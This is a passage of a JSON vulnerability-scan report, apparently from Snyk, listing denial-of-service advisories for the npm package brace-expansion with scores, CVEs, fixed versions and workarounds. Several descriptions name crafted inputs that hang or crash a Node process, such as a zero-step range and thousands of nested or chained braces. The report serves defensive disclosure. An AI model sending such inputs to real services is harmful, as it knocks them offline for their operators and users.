"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub 